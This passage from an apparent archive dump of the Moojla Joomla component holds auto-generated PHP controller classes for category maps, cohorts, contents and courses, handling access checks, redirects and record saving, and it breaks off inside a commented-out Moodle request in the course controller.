* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Category_map', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
}
controllers/category_map.php000064400000020247151165724360012314
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage category_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Category_map Controller
*/
class MoojlaControllerCategory_map extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Categories_map'; // safeguard for
setting the return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.category_map.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.category_map.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Category_map', '',
array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=categories_map'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/cohort.php000064400000020165151165724360011137 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage cohort.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Cohort Controller
*/
class MoojlaControllerCohort extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Cohorts'; // safeguard for setting the
return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.cohort.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.cohort.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Cohort', '', array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=cohorts'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/cohorts.php000064400000003542151165724360011322
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage cohorts.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Cohorts Controller
*/
class MoojlaControllerCohorts extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_COHORTS';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Cohort', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
}
controllers/content.php000064400000020175151165724360011314
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage content.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Content Controller
*/
class MoojlaControllerContent extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Contents'; // safeguard for setting the
return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.content.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.content.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Content', '', array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=contents'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/contents.php000064400000003547151165724360011503
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage contents.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Contents Controller
*/
class MoojlaControllerContents extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_CONTENTS';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Content', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
}
controllers/course.php000064400000024050151165724360011136 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Course Controller
*/
class MoojlaControllerCourse extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'Courses'; // safeguard for setting the
return view listing to the main view.
parent::__construct($config);
}
/***[JCBGUI.admin_view.php_controller.129.$$$$]***/
//
/***[/JCBGUI$$$$]***/
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// Access check.
$access = $user->authorise('course.access',
'com_moojla');
if (!$access)
{
return false;
}
// In the absense of better information, revert to the component
permissions.
return $user->authorise('course.create', $this->option);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{ // get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
// Access check.
$access = ($user->authorise('course.access',
'com_moojla.course.' . (int) $recordId) &&
$user->authorise('course.access', 'com_moojla'));
if (!$access)
{
return false;
}
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('course.edit',
'com_moojla.course.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('course.edit.own',
'com_moojla.course.' . $recordId))
{
// Fallback on edit.own. Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then do the test.
if ($ownerId == $user->id)
{
if ($user->authorise('course.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return $user->authorise('course.edit', $this->option);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Course', '', array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=courses'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
/***[JCBGUI.admin_view.php_postsavehook.129.$$$$]***/
/*
dump($model, "model");
dump($validData, "validData");
$dataObj = array(
"wsfunction" =>
"moojla_get_course_custom_fields_data",
"moodlewsrestformat" => "json",
"courseid" => $data["remoteid"]
);
$coursecustomfields =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select(array('a.*', 'b.id', 'b.name
AS fieldName', 'b.title AS fieldTitle'));
$query->from($db->quoteName('#__moojla_course_field_mapper',
'a'));
$query->join('INNER',
$db->quoteName('#__fields', 'b') . ' ON '
. $db->quoteName('a.coursefield') . ' = ' .
$db->quoteName('b.id'));
$query->where($db->quoteName('a.published') . ' =
1' );
$query->where($db->quoteName('b.context') . ' =
"com_moojla.course"' );
$db->setQuery($query);
